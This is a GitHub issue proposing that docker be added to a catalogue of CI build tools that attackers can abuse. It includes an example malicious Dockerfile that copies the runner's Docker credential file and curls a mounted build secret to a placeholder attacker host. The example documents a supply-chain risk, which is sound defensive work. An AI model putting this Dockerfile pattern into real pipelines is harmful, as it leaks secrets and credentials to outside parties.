Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

[LOTP] Add docker #35

Open
fproulx-boostsecurity opened this issue Jul 17, 2024 · 0 comments
Open

[LOTP] Add docker #35

fproulx-boostsecurity opened this issue Jul 17, 2024 · 0 comments
Labels
good first issue Good for newcomers idea

Comments

@fproulx-boostsecurity
Copy link
Contributor

fproulx-boostsecurity commented Jul 17, 2024

Description of the LOTP tool

docker is tool to build / inspect OCI images and run containers. The build stage can be configured with Dockerfile

Configuration files

Dockerfile

Exfiltration scenario

In the case where build-time secrets are exposed to docker build, a maliciously crafted Dockerfile could allow exfiltration of the secrets

FROM ubuntu:latest

ADD /home/runner/.docker/config.json config.json
RUN ...

RUN --mount=type=secret,id=mysecret \
    sh -c 'curl -X POST -d "@/run/secrets/mysecret" http://malicious-server.example.com'
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
good first issue Good for newcomers idea
Projects
None yet
Development

No branches or pull requests

1 participant